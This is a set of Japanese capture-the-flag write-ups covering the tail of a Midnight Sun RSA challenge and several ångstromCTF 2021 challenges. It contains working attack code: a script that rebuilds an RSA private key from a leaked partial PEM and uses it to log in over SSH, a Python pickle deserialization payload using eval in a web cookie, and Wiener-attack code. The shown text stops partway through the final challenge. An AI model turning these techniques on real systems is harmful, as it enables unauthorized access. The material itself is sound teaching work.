    7d:4f:6a:4d:64:fa:d5:eb:71:44:a0:a6:09:cd:90:
    9e:46:a6:d9:b9:0a:00:b4:a8:5e:72:c5:1f:fe:0c:
    cc:bf:74:e0:1c:ee:35:21:21:93:1e:5f:5b:16:4d:
    df:6b:4d:2b:90:30:00:7f:c3:77:ce:35:ee:b2:5c:
    d0:71:68:06:af:8b:9c:37:a3:50:ae:ef:18:13:50:
    e6:01:52:70:18:69:7f:b4:ec:0a:93:aa:ef:4f:4e:
    b4:a9:2b:4f:1b:66:b9:cb:7f:7a:08:b5:d0:14:32:
    c3:52:b4:8e:03:8a:ac:5b:75:85:fa:4d:c7:1c:a9:
    d6:0b:23:b0:9b:dc:77:5b:04:d4:6e:33:2d:e5:db:
    96:5e:95:24:72:0d:a1:53:ed:95:e7:32:c1:82:6d:
    c5:a0:dd:49:c4:6c:60:ae:74:03:07:cd:4e:5a:14:
    b0:d8:64:95:29:42:c8:18:41:b9:52:c3:d1:05:ed:
    1f:ce:2d:af:2e:cb:9e:c2:04:66:aa:a0:cd:30:b5:
    4e:7a:03:6b:0e:3d:31:95:6c:35:45:d8:79:8e:6e:
    0e:ab:8a:3a:a7:e0:8e:8d:05:0b:01:7a:c8:40:34:
    88:a5:fd:a9:b0:d3:c3:09:65:55:4a:ee:33:58:0c:
    ba:de:b7:6d:e4:cb:fb:92:c8:ef:c8:45:da:74:29:
    c0:72:5a:4e:ef:11:6d:fa:27:68:ad:40:e9:11:84:
    a0:55:02:03:c8:3b:75:6e:75:ec:fc:e5:36:28:45:
    bf:04:48:06:78:38:9b:6b:04:c3:f4:97:ae:a5:9d:
    77:39:f8:bf:64:79:c9:0a:2d:9a:76:e0:33:64:6f:
    de:54:2d:dd:a0:ff:bf:e3:a8:5b:6f:ea:0c:c5:6a:
    66:fd:df
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAv6JGqJG+nS5TvPPZLXBS
rgMy27wnMuSJdk4lSFc84m3vvRXx9ltER7UOQN2iL422Sp3kMYMvRIjflNvAzqfc
gVuMwINdVO+1bbhedvFqeQKcMDfElA+WDwULLIdwhZumyqoPjvRfdyfv8IcwPEBi
/AthGKzfwaTlEiSnbNAM+nGGJt7KhEfokOuEQ2vStk6zuYHz/4sgUzsnTw9GTS27
7DzDZOmM7jQ/qY0RsLR/b8VeYNB9T2pNZPrV63FEoKYJzZCeRqbZuQoAtKhecsUf
/gzMv3TgHO41ISGTHl9bFk3fa00rkDAAf8N3zjXuslzQcWgGr4ucN6NQru8YE1Dm
AVJwGGl/tOwKk6rvT060qStPG2a5y396CLXQFDLDUrSOA4qsW3WF+k3HHKnWCyOw
m9x3WwTUbjMt5duWXpUkcg2hU+2V5zLBgm3FoN1JxGxgrnQDB81OWhSw2GSVKULI
GEG5UsPRBe0fzi2vLsuewgRmqqDNMLVOegNrDj0xlWw1Rdh5jm4Oq4o6p+COjQUL
AXrIQDSIpf2psNPDCWVVSu4zWAy63rdt5Mv7ksjvyEXadCnAclpO7xFt+idorUDp
EYSgVQIDyDt1bnXs/OU2KEW/BEgGeDibawTD9JeupZ13Ofi/ZHnJCi2aduAzZG/e
VC3doP+/46hbb+oMxWpm/d8CAwEAAQ==
-----END PUBLIC KEY-----
n = 0x00bfa246a891be9d2e53bcf3d92d7052ae0332dbbc2732e489764e2548573ce26defbd15f1f65b4447b50e40dda22f8db64a9de431832f4488df94dbc0cea7dc815b8cc0835d54efb56db85e76f16a79029c3037c4940f960f050b2c8770859ba6caaa0f8ef45f7727eff087303c4062fc0b6118acdfc1a4e51224a76cd00cfa718626deca8447e890eb84436bd2b64eb3b981f3ff8b20533b274f0f464d2dbbec3cc364e98cee343fa98d11b0b47f6fc55e60d07d4f6a4d64fad5eb7144a0a609cd909e46a6d9b90a00b4a85e72c51ffe0cccbf74e01cee352121931e5f5b164ddf6b4d2b9030007fc377ce35eeb25cd0716806af8b9c37a350aeef181350e601527018697fb4ec0a93aaef4f4eb4a92b4f1b66b9cb7f7a08b5d01432c352b48e038aac5b7585fa4dc71ca9d60b23b09bdc775b04d46e332de5db965e9524720da153ed95e732c1826dc5a0dd49c46c60ae740307cd4e5a14b0d864952942c81841b952c3d105ed1fce2daf2ecb9ec20466aaa0cd30b54e7a036b0e3d31956c3545d8798e6e0eab8a3aa7e08e8d050b017ac8403488a5fda9b0d3c30965554aee33580cbadeb76de4cbfb92c8efc845da7429c0725a4eef116dfa2768ad40e91184a0550203c83b756e75ecfce5362845bf04480678389b6b04c3f497aea59d7739f8bf6479c90a2d9a76e033646fde542ddda0ffbfe3a85b6fea0cc56a66fddf

またRSA_key.pdfに秘密鍵の一部が見えている画像ファイルがあるので、見えている範囲を書き出す。

YZE7xr0bE94JO4cqritQcE+dJ4WOmf4HvmhaSElywcp9xN8xBucN5DnxlXt8MEbj
me7udUNRvTDYHdFkv26P1K4Xhes8duRpQBES/TxN4YD42td2P8PCShLnvQ5JLWuY
cCnYQa9wbEH8zL9lxlJne5+0Vc1Bd7X7OENRTxBHpYJg28m/cDeUs8KHUvlyeGHK
qJGjzIAO3KXjvQzj0YWi/MGKCBleeoVz0URKR7oP7GxjORF2DypmLf8r2374uISy
RHLKFQfW9TnO/j8L7DWm55dOcJOZr1kbDvxPAu2zLQKCAQEAwM/Hdvm8rX6Q6C8A
tYLA/+JvWsxLxGW4nL88dgl61RVWPz4PZzWPNQwbfWohay562+ccTxFM0rlxuDoH
Dh7A4X45W0+MBJbdYTSoVzFs1r1bjoPpwBnsL1pNAkC5zloQFUkmvpzBD6DaLX0i
OhZtqsichyPGEyVH0RYv2L3UPYAhdmeYbsbc6Ruhva9tVUUMc+nFyKf51Os4vC8M
YTnyYZJqo/5oAR7wt6806ZlsTQowlbSPn1hYgtSka/RK+gBnKyFhmihi/Jy0gJNg
T/p/Fb1DaX6sjnTpPbxfHXX9j2ExC3uH1/1ynF1tpLBp2AN9/rbc2N2NtOI3W4oJ
X2krUQKCAQBRxpFTEWofHJZk7A6eaL7AkzQtJkWqRlyor7Yd1wOQdaiqDdO20AbW
Sbnb18msiGGwPm25IUFqa214ULC87srWNBdw51/W0XaZiGzmjrctfHwZmVUQ31Ou
pDWve4ButBBIOt9sEnTq+pMiC93nPprG/E8uBLyF2KX/c8WIBa/WpE/mmC3lvgtb
PC2N9lrNeaHM4QPeRrfcj52qxxKYIo55XUGpMSGjEUaHiTqSZa5QJR26s5Q8OceV
sq5fUEDPbxHEhp0IUVVHarDBk2CC0iL+vQso82QQjm0ybJ1/posPNfDHlYHuqhSA
rVoRpE14r1M+FIXO0S05Qfl2RHV8BdfFAoIBAQCUFi7LV3+dHMJj0h4HyL23rL6y
yZXE9EjMd1ExoDP91aJSnSbS9GS+/Ro4Osi+rw5ixryqBXRn9tMCDtJ1NQuY+MiU
XFEsltt9N4XAY0WNm/1aUGsuICBdYbKh3DD97M+FZqzUqlI1p1Fb3NpKhatfY7Yg
t2Z6w77B+OMi8T6rIpeLOLxR5pEJmCCfojM8gVRGMFb7IHc9Hp1XlJpePh1OyWQF
ywaauJBnYEsIz2A22cMp4frY/unZxeWRK82rN4d+jSYmyf9NCXwK9mXuq/pXjlaB
XqIB6+n3swDFGQX732iPBGu9iDbhsQ6vdoRBAtqcHmCTLB2dqXhrnvUSMMUS
-----END RSA PRIVATE KEY-----

これをbase64デコードするすると、以下のような構造になっていることがわかる。

0x0df~: 02 82 01 01 -> データ長257
~0x1e3: 00 C0 .. 2B 51 -> データ
0x1e4~: 02 82 01 00 -> データ長256
~0x2e7: 51 C6 .. D7 C5 -> データ
0x2e8~: 02 82 01 01 -> データ長257
~last : 00 94 .. C5 12 -> データ

このことから以下の値がわかる。

d mod (p -1)
d mod (q -1)
(inverse of q) mod p

この情報からp, qを求める。

def solve(dp, n, e):
    for i in range(1, e):
        if ((e * dp - 1) % i) == 0:
            tmp_p = (e * dp - 1) / i + 1
            if n % tmp_p == 0:
                p = tmp_p
                q = n / p
                return p, q

b64 = '''
YZE7xr0bE94JO4cqritQcE+dJ4WOmf4HvmhaSElywcp9xN8xBucN5DnxlXt8MEbj
me7udUNRvTDYHdFkv26P1K4Xhes8duRpQBES/TxN4YD42td2P8PCShLnvQ5JLWuY
cCnYQa9wbEH8zL9lxlJne5+0Vc1Bd7X7OENRTxBHpYJg28m/cDeUs8KHUvlyeGHK
qJGjzIAO3KXjvQzj0YWi/MGKCBleeoVz0URKR7oP7GxjORF2DypmLf8r2374uISy
RHLKFQfW9TnO/j8L7DWm55dOcJOZr1kbDvxPAu2zLQKCAQEAwM/Hdvm8rX6Q6C8A
tYLA/+JvWsxLxGW4nL88dgl61RVWPz4PZzWPNQwbfWohay562+ccTxFM0rlxuDoH
Dh7A4X45W0+MBJbdYTSoVzFs1r1bjoPpwBnsL1pNAkC5zloQFUkmvpzBD6DaLX0i
OhZtqsichyPGEyVH0RYv2L3UPYAhdmeYbsbc6Ruhva9tVUUMc+nFyKf51Os4vC8M
YTnyYZJqo/5oAR7wt6806ZlsTQowlbSPn1hYgtSka/RK+gBnKyFhmihi/Jy0gJNg
T/p/Fb1DaX6sjnTpPbxfHXX9j2ExC3uH1/1ynF1tpLBp2AN9/rbc2N2NtOI3W4oJ
X2krUQKCAQBRxpFTEWofHJZk7A6eaL7AkzQtJkWqRlyor7Yd1wOQdaiqDdO20AbW
Sbnb18msiGGwPm25IUFqa214ULC87srWNBdw51/W0XaZiGzmjrctfHwZmVUQ31Ou
pDWve4ButBBIOt9sEnTq+pMiC93nPprG/E8uBLyF2KX/c8WIBa/WpE/mmC3lvgtb
PC2N9lrNeaHM4QPeRrfcj52qxxKYIo55XUGpMSGjEUaHiTqSZa5QJR26s5Q8OceV
sq5fUEDPbxHEhp0IUVVHarDBk2CC0iL+vQso82QQjm0ybJ1/posPNfDHlYHuqhSA
rVoRpE14r1M+FIXO0S05Qfl2RHV8BdfFAoIBAQCUFi7LV3+dHMJj0h4HyL23rL6y
yZXE9EjMd1ExoDP91aJSnSbS9GS+/Ro4Osi+rw5ixryqBXRn9tMCDtJ1NQuY+MiU
XFEsltt9N4XAY0WNm/1aUGsuICBdYbKh3DD97M+FZqzUqlI1p1Fb3NpKhatfY7Yg
t2Z6w77B+OMi8T6rIpeLOLxR5pEJmCCfojM8gVRGMFb7IHc9Hp1XlJpePh1OyWQF
ywaauJBnYEsIz2A22cMp4frY/unZxeWRK82rN4d+jSYmyf9NCXwK9mXuq/pXjlaB
XqIB6+n3swDFGQX732iPBGu9iDbhsQ6vdoRBAtqcHmCTLB2dqXhrnvUSMMUS
'''
b64 = b64.replace('\n', '')
data = b64.decode('base64')

n = 0x00bfa246a891be9d2e53bcf3d92d7052ae0332dbbc2732e489764e2548573ce26defbd15f1f65b4447b50e40dda22f8db64a9de431832f4488df94dbc0cea7dc815b8cc0835d54efb56db85e76f16a79029c3037c4940f960f050b2c8770859ba6caaa0f8ef45f7727eff087303c4062fc0b6118acdfc1a4e51224a76cd00cfa718626deca8447e890eb84436bd2b64eb3b981f3ff8b20533b274f0f464d2dbbec3cc364e98cee343fa98d11b0b47f6fc55e60d07d4f6a4d64fad5eb7144a0a609cd909e46a6d9b90a00b4a85e72c51ffe0cccbf74e01cee352121931e5f5b164ddf6b4d2b9030007fc377ce35eeb25cd0716806af8b9c37a350aeef181350e601527018697fb4ec0a93aaef4f4eb4a92b4f1b66b9cb7f7a08b5d01432c352b48e038aac5b7585fa4dc71ca9d60b23b09bdc775b04d46e332de5db965e9524720da153ed95e732c1826dc5a0dd49c46c60ae740307cd4e5a14b0d864952942c81841b952c3d105ed1fce2daf2ecb9ec20466aaa0cd30b54e7a036b0e3d31956c3545d8798e6e0eab8a3aa7e08e8d050b017ac8403488a5fda9b0d3c30965554aee33580cbadeb76de4cbfb92c8efc845da7429c0725a4eef116dfa2768ad40e91184a0550203c83b756e75ecfce5362845bf04480678389b6b04c3f497aea59d7739f8bf6479c90a2d9a76e033646fde542ddda0ffbfe3a85b6fea0cc56a66fddf
e = 65537

dp = int(data[0x0e3:0x1e4].encode('hex'), 16)
dq = int(data[0x1e8:0x2e8].encode('hex'), 16)
qinv = int(data[0x2ec:].encode('hex'), 16)

p, q = solve(dp, n, e)
print 'p =', p
print 'q =', q
assert p * q == n

実行結果は以下の通り。

p = 32155793883644309494149365087347710275210633774631897274003001908876018851960968012981271807389852904017267710405842990613181825323298497180721462889930852141756696942713059737825259562300443091116514916928396257101370860052927606384048304583938193088254729901128992755541135185322798527530512122498248043845789461978413935354215871986482151417756534584220556107891332673683000687165418919940645597668777626845600908432978474596080126672805046918964956144371065049005805638187590643592564866189148070656840995258832683463131564291944605671726345796937320632480267178246999762145360703260951002442725449730325007240379
q = 24312821138947295842939811430266614164483390266044923887694157098746040509093637457237135603411011833287827123602619771315554896936017168546924189851322281151620644250524117043049673777703814283705410796690775974401304283378519985368125276766049671207507190418663428295243489814095988104136549989630636041063221268290523766428047760530245982382697752496455539057488593944136069627708927281633167017337393918797915410963972736328647804191560830879679674669676405585810075964267210384497030345823969704188597922024875674517047635080525199694836436149951817779893116507111781865061463859626764914849867030257100120765229

秘密鍵を生成する。

$ rsatool.py -f PEM -o frank.pri.pem -p 32155793883644309494149365087347710275210633774631897274003001908876018851960968012981271807389852904017267710405842990613181825323298497180721462889930852141756696942713059737825259562300443091116514916928396257101370860052927606384048304583938193088254729901128992755541135185322798527530512122498248043845789461978413935354215871986482151417756534584220556107891332673683000687165418919940645597668777626845600908432978474596080126672805046918964956144371065049005805638187590643592564866189148070656840995258832683463131564291944605671726345796937320632480267178246999762145360703260951002442725449730325007240379 -q 24312821138947295842939811430266614164483390266044923887694157098746040509093637457237135603411011833287827123602619771315554896936017168546924189851322281151620644250524117043049673777703814283705410796690775974401304283378519985368125276766049671207507190418663428295243489814095988104136549989630636041063221268290523766428047760530245982382697752496455539057488593944136069627708927281633167017337393918797915410963972736328647804191560830879679674669676405585810075964267210384497030345823969704188597922024875674517047635080525199694836436149951817779893116507111781865061463859626764914849867030257100120765229
Using (p, q) to initialise RSA instance

n =
bfa246a891be9d2e53bcf3d92d7052ae0332dbbc2732e489764e2548573ce26defbd15f1f65b4447
b50e40dda22f8db64a9de431832f4488df94dbc0cea7dc815b8cc0835d54efb56db85e76f16a7902
9c3037c4940f960f050b2c8770859ba6caaa0f8ef45f7727eff087303c4062fc0b6118acdfc1a4e5
1224a76cd00cfa718626deca8447e890eb84436bd2b64eb3b981f3ff8b20533b274f0f464d2dbbec
3cc364e98cee343fa98d11b0b47f6fc55e60d07d4f6a4d64fad5eb7144a0a609cd909e46a6d9b90a
00b4a85e72c51ffe0cccbf74e01cee352121931e5f5b164ddf6b4d2b9030007fc377ce35eeb25cd0
716806af8b9c37a350aeef181350e601527018697fb4ec0a93aaef4f4eb4a92b4f1b66b9cb7f7a08
b5d01432c352b48e038aac5b7585fa4dc71ca9d60b23b09bdc775b04d46e332de5db965e9524720d
a153ed95e732c1826dc5a0dd49c46c60ae740307cd4e5a14b0d864952942c81841b952c3d105ed1f
ce2daf2ecb9ec20466aaa0cd30b54e7a036b0e3d31956c3545d8798e6e0eab8a3aa7e08e8d050b01
7ac8403488a5fda9b0d3c30965554aee33580cbadeb76de4cbfb92c8efc845da7429c0725a4eef11
6dfa2768ad40e91184a0550203c83b756e75ecfce5362845bf04480678389b6b04c3f497aea59d77
39f8bf6479c90a2d9a76e033646fde542ddda0ffbfe3a85b6fea0cc56a66fddf

e = 65537 (0x10001)

d =
566966533ce5271b6cc7176e26ff2f49284816ad913f71ae4a9a92553c8147d92af1a8a3a2e324b6
f0fdac6244700d06d63ebc57574049372f1a80bd4072910c03ac4462f80304d45ad578434a3928b7
f496098faaf41c46498ff0546278dce7291be6482009ac4166009ff53036186c6ef5299b4a8a9740
741df3212defac3ee4af42672f9efd4fdbe398435690be8c6c6a1d0c6e3ff5480741af31943bbb31
9b74c05c5020598f1b757134ad2f89c705f7c20bbf73bfd279095d518610aace60d3858b7651570f
1ba25b09bbd707c6171f7c75c7594450d0cfc2f73f2863b659b898e3bbf0e948b36ba2a0cf31be88
7f9ad8e8ef9b51bb62f67ef9ec3bde7a906ca20147cc6dd61d5ed7f06ce4a052574186dfa82a0db3
20ad7425a8fd08e832d8ac264d28da314f6efc99ca00f31b5528466a375a1f653f887cc6f4f91ef7
e3c4a1a6dea02885711fbbef0cf74c784fec32640d84d1e687fb35c696b3ce182671845bccfe9acf
a8c7d5a079f8501bc67c70f5e0325e5af0c89ff8abee4db0272c522b755383f2cc781bc83c8328c6
d676cd72a693326ef8a678931138d4efe1bf97daf0a5330b5be61f0da00ffc8dbc48a205eb8af333
387f91b1063fd58ecd989b975a380659f4cbf97f11530f2f163ac765c07f81ea97967429d3e3f9b5
b256bfe02fa519e08f2da7745c1e52ea7244f02ac7ff2884240409544c908481

p =
feb9137abe16be4b0ba2b2cddd178624ece1b98c31219240a9b76365a1379a07bcbb33cdd38595f4
aa024748dc11c05f2bcfe7d6f3a28df7302fc8d760acceea3d27e35001183f9645dccb02fb45ef74
e2ca88f074ef2daa93876f15287e987e683f642727ac02a6eb4eee49aff450c1d1631eec4b16e372
6e0d4c53f57f956d9a4f8f1fdcd29b643d52294a2939af817874e1ffd2c414d542618d5bb1436f51
a47ef0667205e5eb0fe4d15a86c7c382fb1632255730e10dbb96cff3129c318be32543253f8554ab
d40f65ef174c694649883acc77ca56bc44650bd10ba857598be4a70d05c4073be71dc6c5540e4538
f10a024f7bc2d48724b08940933b0cbb

q =
c0983a7397809b7ff43cff86ceb61c08d01aa5447b18d48a3e8aff15c93ce8071361913bc6bd1b13
de093b872aae2b50704f9d27858e99fe07be685a484972c1ca7dc4df3106e70de439f1957b7c3046
e399eeee754351bd30d81dd164bf6e8fd4ae1785eb3c76e469401112fd3c4de180f8dad7763fc3c2
4a12e7bd0e492d6b987029d841af706c41fcccbf65c652677b9fb455cd4177b5fb3843514f1047a5
8260dbc9bf703794b3c28752f9727861caa891a3cc800edca5e3bd0ce3d185a2fcc18a08195e7a85
73d1444a47ba0fec6c63d111760f2a662dff2bdb7ef8b884b24472ca1507d6f539cefe3f0bec35a6
e7974e709399af591b0efc4f02edb32d

Saving PEM as frank.pri.pem

この秘密鍵SSH接続する。

$ ssh -i frank.pri.pem frank@backup-01.play.midnightsunctf.se -p 2222
midnight{D0_n07_s0w_p4r75_0f_y0ur_pr1v473}
Connection to backup-01.play.midnightsunctf.se closed.
midnight{D0_n07_s0w_p4r75_0f_y0ur_pr1v473}

ångstromCTF 2021 Writeup

この大会は2021/4/3 9:00(JST)~2021/4/8 9:00(JST)に開催されました。
今回もチームで参戦。結果は2545点で1245チーム中56位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (MISC 5)

Discordに入り、#rolesチャネルでフラグアイコンに投票すると、たくさんのチャネルが現れた。現れたチャネルの一つの#generalチャネルのトピックにフラグが書いてあった。

actf{always_gonna_give_you_up}

Archaic (MISC 50)

team7922@actf:~$ cd /problems/2021/archaic/
team7922@actf:/problems/2021/archaic$ ls -l
total 4
-r--r--r-- 1 problem2021_archaic problem2021_archaic 150 Apr  1  1921 archive.tar.gz
team7922@actf:/problems/2021/archaic$ gzip -dc archive.tar.gz
flag.txt00000000000000000000000000000045M9x014762 0ustar  rootrootactf{thou_hast_uncovered_ye_ol_fleg}
actf{thou_hast_uncovered_ye_ol_fleg}

Fish (MISC 60)

Stegsolveで開き、Gray bitsを見ると、フラグが現れた。
f:id:satou-y:20210414075156p:plain

actf{in_the_m0rning_laughing_h4ppy_fish_heads_in_th3_evening_float1ng_in_your_soup}

FREE FLAGS!!1!! (REV 50)

Ghidraでデコンパイルする。

undefined4 main(void)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  undefined4 local_128;
  int local_124;
  int local_120;
  int local_11c;
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts(
      "Congratulations! You are the 1000th CTFer!!! Fill out this short survey to get FREE FLAGS!!!"
      );
  puts("What number am I thinking of???");
  __isoc99_scanf("%d",&local_11c);
  if (local_11c == 0x7a69) {
    puts("What two numbers am I thinking of???");
    __isoc99_scanf("%d %d",&local_120,&local_124);
    if ((local_120 + local_124 == 0x476) && (local_120 * local_124 == 0x49f59)) {
      puts("What animal am I thinking of???");
      __isoc99_scanf(" %256s",local_118);
      sVar2 = strcspn(local_118,"\n");
      local_118[sVar2] = '\0';
      iVar1 = strcmp(local_118,"banana");
      if (iVar1 == 0) {
        puts("Wow!!! Now I can sell your information to the Russian government!!!");
        puts("Oh yeah, here\'s the FREE FLAG:");
        print_flag();
        local_128 = 0;
      }
      else {
        puts("Wrong >:((((");
        local_128 = 1;
      }
    }
    else {
      puts("Wrong >:((((");
      local_128 = 1;
    }
  }
  else {
    puts("Wrong >:((((");
    local_128 = 1;
  }
  if (*(long *)(in_FS_OFFSET + 0x28) == local_10) {
    return local_128;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

この結果から以下の入力をする必要があることがわかる。

・最初に0x7a69の10進数(31337)を入力
・次に和が0x476で、積が0x49f59となる2つの数値(419, 723)を入力
・最後に"banana"を入力
$ nc shell.actf.co 21703
Congratulations! You are the 1000th CTFer!!! Fill out this short survey to get FREE FLAGS!!!
What number am I thinking of???
31337
What two numbers am I thinking of???
419 723
What animal am I thinking of???
banana
Wow!!! Now I can sell your information to the Russian government!!!
Oh yeah, here's the FREE FLAG:
actf{what_do_you_mean_bananas_arent_animals}
actf{what_do_you_mean_bananas_arent_animals}

Jar (WEB 70)

cookieのcontentsの値にpickleでdumpしbase64エンコードした値が設定されている。
"a"を送信してみると、contentsには以下が設定されている。

gASVCAAAAAAAAABdlIwBYZRhLg==

base64デコードし、loadしてみる。

[a]

flagの値を表示させるようオブジェクトを作成する。

#!/usr/bin/python3
import pickle
import base64

class Exploit(object):
    def __reduce__(self):
        return (eval, ("flag",))

print(base64.b64encode(pickle.dumps([Exploit()])))

作成した結果は以下の通り。

b'gASVIwAAAAAAAABdlIwIYnVpbHRpbnOUjARldmFslJOUjARmbGFnlIWUUpRhLg=='

この値をクッキーのcontentsに設定して、リロードすると、フラグが表示された。
f:id:satou-y:20210414075557p:plain

actf{you_got_yourself_out_of_a_pickle}

Relatively Simple Algorithm (CRYPTO 40)

通常のRSA暗号。p, qもわかっているので、そのまま復号する。

from Crypto.Util.number import *

n = 113138904645172037883970365829067951997230612719077573521906183509830180342554841790268134999423971247602095979484887092205889453631416247856139838680189062511282674134361726455828113825651055263796576482555849771303361415911103661873954509376979834006775895197929252775133737380642752081153063469135950168223
p = 11556895667671057477200219387242513875610589005594481832449286005570409920461121505578566298354611080750154513073654150580136639937876904687126793459819369
q = 9789731420840260962289569924638041579833494812169162102854947552459243338614590024836083625245719375467053459789947717068410632082598060778090631475194567
e = 65537
c = 108644851584756918977851425216398363307810002101894230112870917234519516101802838576315116490794790271121303531868519534061050530562981420826020638383979983010271660175506402389504477695184339442431370630019572693659580322499801215041535132565595864123113626239232420183378765229045037108065155299178074809432

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
actf{old_but_still_good_well_at_least_until_quantum_computing}

Exclusive Cipher (CRYPTO 40)

keyの長さが5とのことだが、フラグがどの位置かわからない。総当たりで、keyを算出して、printableのものを出力する。

def is_printable(s):
    for c in s:
        if ord(c) < 32 or ord(c) > 126:
            return False
    return True

enc = 'ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d218227e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c'
enc = enc.decode('hex')

flag_head = 'actf{'

for i in range(len(enc) - 5 + 1):
    key = [-1] * 5
    for j in range(5):
        code = ord(enc[i+j]) ^ ord(flag_head[j])
        key[(i+j)%5] = code

    flag = ''
    for j in range(len(enc)):
        code = ord(enc[j]) ^ key[j % len(key)]
        flag += chr(code)
    if is_printable(flag):
        print '[+] index:', i
        print '[+] flag:', flag

実行結果は以下の通り。

[+] index: 20
[+] flag: Gohxyetssjpiiqx$oh?oactf{pihx+phc?fasu~la!&Kca `sjc ol+ecrypshi@eaeblTeeu@|leh@rkuYwjreYgdv}(?Lkob?gqcm?dj rwn$orwnv emrtti>
[+] index: 47
[+] flag: B4ihg`/rctu2haf!4i/qd8uveu2ih5u3b/xd(tnrdz'[}d{actf{n|5`8sinv3hP{d>c|J`>tPbi>iPln.Xgtw>Xwzs&)/Rn4c/yt8l/zo{sgp!4sgps{d}lq/h.
[+] index: 49
[+] flag: G;aore zdap=`fs$;a(da7}qpp=ao p<j(ma'|igau/\hatidactf{ e7{n{s<`Wna1k{_e1|Wwl1aWyk!P`ar1Ppov)!(Gk;k(lq7d(ojt{`e$;{`evtlzyt `)
[+] index: 55
[+] flag: Congratulations on decrypting the message! The flag is actf{who_needs_aes_when_you_have_xor}. Good luck on the other crypto!
[+] index: 115
[+] flag: P,yspr7bxcg*xzq3,y4fv emrg*ys"g+r4ov0duevb7@jvcqxctc~g"r cryd+xKlv&sg]r&dKu{&yK{|6H|ce&Hlma>94E|,s4nf |4m}cc|g3,c|gactf{c7x5
actf{who_needs_aes_when_you_have_xor}

Keysar v2 (CRYPTO 40)

暗号の処理は以下の通り。

・shift: 既定の数値
・key: 既定の鍵
・flag: フラグ

・rkey: 空文字で設定
・keyの各文字でrkeyになければ連結
・アルファベット小文字の各文字でrkeyになければ連結
・rkeyをshiftで左にシフト
・フラグの各文字について
 ・アルファベット小文字の場合は、アルファベットのインデックスに対応するrkeyの文字
 ・そうでない場合は、そのまま文字
 を連結する。

換字式暗号であることと暗号文が長いことを考えると、quipqiupで復号すればよい。

according to all known laws of aviation, there is no way a bee should be able to fly. its wings are too small to get its fat little body off the ground. the bee, of course, flies anyway because bees don't care what humans think is impossible. yellow, black. yellow, black. yellow, black. yellow, black. ooh, black and yellow! let's shake it up a little. barry! breakfast is ready! coming! hang on a second. hello? barry? adam? can you believe this is happening? i can't. i'll pick you up. looking sharp. use the stairs. your father paid good money for those. sorry. i'm excited. here's the graduate. we're very proud of you, son. a perfect report card, all b's. very proud. ma! i got a thing going here. you got lint on your fuzz. ow! that's me! wave to us! we'll be in row 118,000. bye! barry, i told you, stop flying in the house! hey, adam. hey, barry. is that fuzz gel? a little. special day, graduation. never thought i'd make it. three days grade school, three days high school. those were awkward. three days college. i'm glad i took a day and hitchhiked around the hive. you did come back different. hi, barry. artie, growing a mustache? looks good. hear about frankie? yeah. you going to the funeral? no, i'm not going. everybody knows, sting someone, you die. don't waste it on a squirrel. such a hothead. i guess he could have just gotten out of the way. i love this incorporating an amusement park into our day. that's why we don't need vacations. boy, quite a bit of pomp... under the circumstances. well, adam, today we are men. we are! bee-men. amen! hallelujah! students, faculty, distinguished bees, please welcome dean buzzwell. welcome, new hive city graduating class of... ...9:15. that concludes our ceremonies. and begins your career at honex industries! will we pick ourjob today? i heard it's just orientation. heads up! here we go. keep your hands and antennas inside the tram at all times. wonder what it'll be like? a little scary. welcome to honex, a division of honesco and a part of the hexagon group. this is it! wow. wow. we know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. honey begins when our valiant pollen jocks bring the nectar to the hive. our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... honey! that girl was hot. she's my cousin! she is? yes, we're all cousins. right. you're right. at honex, we constantly strive to improve every aspect of bee existence. these bees are stress-testing a new helmet technology. what do you think he makes? not enough. here we have our latest advancement, the krelman. actf{keyedcaesarmorelikesubstitution}

文章の末尾にフラグがあった。

actf{keyedcaesarmorelikesubstitution}

sosig (CRYPTO 70)

RSA暗号だが、eの値が非常に大きいので、Wiener attackで復号する。

from fractions import Fraction
from Crypto.Util.number import *

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(c, d, n)
    return long_to_bytes(pt)

def continued_fractions(n,e):
    cf = [0]
    while e != 0:
        cf.append(int(n/e))
        N = n
        n = e
        e = N%e
    return cf

def calcKD(cf):
    kd = list()
    for i in range(1,len(cf)+1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1/(tmp+j)
        kd.append((tmp.numerator,tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n/prev)/2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a,b):
    if a*a < 4*b or a < 0:
        return None
    c = int_sqrt(a*a-4*b)
    p = (a + c) /2
    q = (a - c) /2
    if p + q == a and p * q == b:
        return (p,q)
    else:
        return None

def wiener(n,e):
    kd = calcKD(continued_fractions(n,e))
    for (k,d) in kd:
        if k == 0:
            continue
        if (e*d-1) % k != 0:
            continue
        phin = (e*d-1) / k
        if phin >= n:
            continue
        ans = calcPQ(n-phin+1,n)
        if ans is None:
            continue
        return (ans[0],ans[1])

